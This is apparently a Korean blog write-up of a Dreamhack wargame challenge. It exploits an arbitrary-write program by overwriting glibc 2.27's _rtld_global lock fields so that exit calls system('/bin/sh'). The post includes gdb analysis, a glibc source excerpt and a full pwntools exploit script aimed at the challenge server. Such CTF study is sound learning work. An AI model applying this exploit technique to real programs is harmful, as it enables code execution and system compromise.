본문 바로가기

시스템해킹

[드림핵] Overwrite _rtld_global 풀이

 

 

 

rtld_global을 이용하는 문제이다

 

 

 

 

문제코드

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

 

stdout의 주소를 출력하니 libc base 주소와 ld base 주소를 쉽게 구할 수 있을것으로 보인다

 

case1일시 친절하게 addr 주소에 값을 넣을 수 있는 코드가 있기에

변조는 쉽게 유도할 수 있어 보인다

rtld_global을 이용해야 하기에 프로그램이 종료될때 쉘을 얻을 수 있도록 조작해야된다

 

 

 

 

디버깅

libc와 ld 간격

 

 

ret에 프로그램 종료시

exit -> run_exit_handler -> _dl_fini -> rtld_global 순으로

진행되는것 확인(si 사용)

 

 

 

 

 

 

glibc 정확한 버전확인

해당 버전의 디버깅 심볼이 있는 파일 다운 + glibc 2.27 다운

 

디버깅 심볼이 있어야 정확한 확인이 가능하다

 

gdb usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
p _rtld_global

_dl_rtld_lock_recursive = 0x0,

_dl_load_lock =

 

 

 

glibc 2.27, dl_fini.c 소스코드

#include <assert.h>
#include <string.h>
#include <ldsodefs.h>

#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0

 

그렇다면 __rtld_lock_lock_recursive에 system 함수

dl_load_lock에는 /bin/sh을 덮는다면

쉘을 얻을 수 있을것으로 보인다(lock이 locklock이 된 이유는 define으로 다른곳에서 변경됨)

 

그렇다면 

_rtld_global._dl_load_lock과 _rtld_global._dl_rtld_lock_recursive의 위치를 구하여

값을 넣어주면 되겠다

 

 

gdb usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so

 

 

 

 

payload

from pwn import *
p = remote ('host1.dreamhack.games', 16356)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')


p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000 # docker에서 확인

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

system = libc_base + libc.symbols['system']

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_load_lock))
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')))

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive))
p.sendlineafter(b'data: ', str(system))
p.sendlineafter(b'> ', b'2')

p.interactive()

 

/bin/sh에 널문자를 포함시켜 문자열 끝을 인식 시켜줘야 한다

rtld_global 조작 후 프로그램 종료유도로 쉘 획득

 

 

 

결과

 

 

 

 

 

 

 

 

강의에서 이유없이 

_rtld_global._dl_load_lock과

_rtld_global._dl_rtld_lock_recursive를

변조하여 쉘을 얻는다는데

이유를 확실하게 찾기위해 libc를 직접 받아 소스코드를 확인했다

 

 

이해한게 정확한지는 모르겠지만 

현재 찾은 코드가 충분히 신빙성이 있어 보인다

'시스템해킹' 카테고리의 다른 글

[드림핵] rtld 풀이  (0) 2025.02.06
[드림핵] __environ 풀이  (0) 2025.01.17
[드림핵] master_canary 풀이  (1) 2024.12.31
[드림핵] Master Canary 풀이  (0) 2024.12.30
[드림핵] seccomp 풀이  (0) 2024.11.25